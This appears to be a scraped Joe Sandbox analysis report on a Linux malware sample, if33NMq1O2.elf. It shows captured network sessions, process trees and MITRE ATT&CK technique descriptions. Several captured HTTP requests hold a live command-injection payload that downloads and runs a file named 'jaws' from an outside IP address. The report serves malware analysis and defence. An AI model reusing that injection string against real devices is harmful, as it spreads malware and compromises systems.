bgcolor=#ffffff><h1>Error: Bad Request</h1><h2>Your client has issued a malformed or illegal request.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.23	58804	43.175.236.102	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:44.028517008 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:44.179508924 CET	165	IN	HTTP/1.1 418 Unknown Status Content-Length: 0 Connection: close Server: TencentEdgeOne EO-LOG-UUID: 12646862562785884695 Date: Tue, 02 Jan 2024 05:25:44 GMT
Jan 2, 2024 06:25:44.258384943 CET	1	IN	Data Raw: 0d Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.23	57808	74.217.134.11	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:44.030944109 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.23	49264	211.251.235.105	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:44.278757095 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.23	37836	43.192.122.65	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:44.376815081 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:44.754182100 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Tue, 02 Jan 2024 05:25:44 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

System Behavior

Analysis Process: if33NMq1O2.elf PID: 6209, Parent PID: 6125

General

Start time (UTC):	05:23:40
Start date (UTC):	02/01/2024
Path:	/tmp/if33NMq1O2.elf
Arguments:	/tmp/if33NMq1O2.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	05:23:40
Start date (UTC):	02/01/2024
Path:	/tmp/if33NMq1O2.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	05:23:40
Start date (UTC):	02/01/2024
Path:	/tmp/if33NMq1O2.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	05:23:40
Start date (UTC):	02/01/2024
Path:	/tmp/if33NMq1O2.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	05:24:20
Start date (UTC):	02/01/2024
Path:	/tmp/if33NMq1O2.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: if33NMq1O2.elf PID: 6216, Parent PID: 6211

General

Start time (UTC):	05:23:40
Start date (UTC):	02/01/2024
Path:	/tmp/if33NMq1O2.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: if33NMq1O2.elf PID: 6219, Parent PID: 6211

General

Start time (UTC):	05:23:40
Start date (UTC):	02/01/2024
Path:	/tmp/if33NMq1O2.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: if33NMq1O2.elf PID: 6221, Parent PID: 6211

General

Start time (UTC):	05:23:40
Start date (UTC):	02/01/2024
Path:	/tmp/if33NMq1O2.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	05:23:41
Start date (UTC):	02/01/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	05:23:41
Start date (UTC):	02/01/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	05:23:41
Start date (UTC):	02/01/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	05:23:41
Start date (UTC):	02/01/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	05:23:41
Start date (UTC):	02/01/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	05:23:41
Start date (UTC):	02/01/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	05:23:41
Start date (UTC):	02/01/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	05:23:41
Start date (UTC):	02/01/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	05:23:41
Start date (UTC):	02/01/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	05:23:41
Start date (UTC):	02/01/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	05:23:41
Start date (UTC):	02/01/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	05:23:41
Start date (UTC):	02/01/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report if33NMq1O2.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: if33NMq1O2.elf PID: 6209, Parent PID: 6125

General

Chronological Activities

Analysis Process: if33NMq1O2.elf PID: 6211, Parent PID: 6209

General

Chronological Activities

Analysis Process: if33NMq1O2.elf PID: 6213, Parent PID: 6211

General

Chronological Activities

Analysis Process: if33NMq1O2.elf PID: 6214, Parent PID: 6211

Linux Analysis Report
if33NMq1O2.elf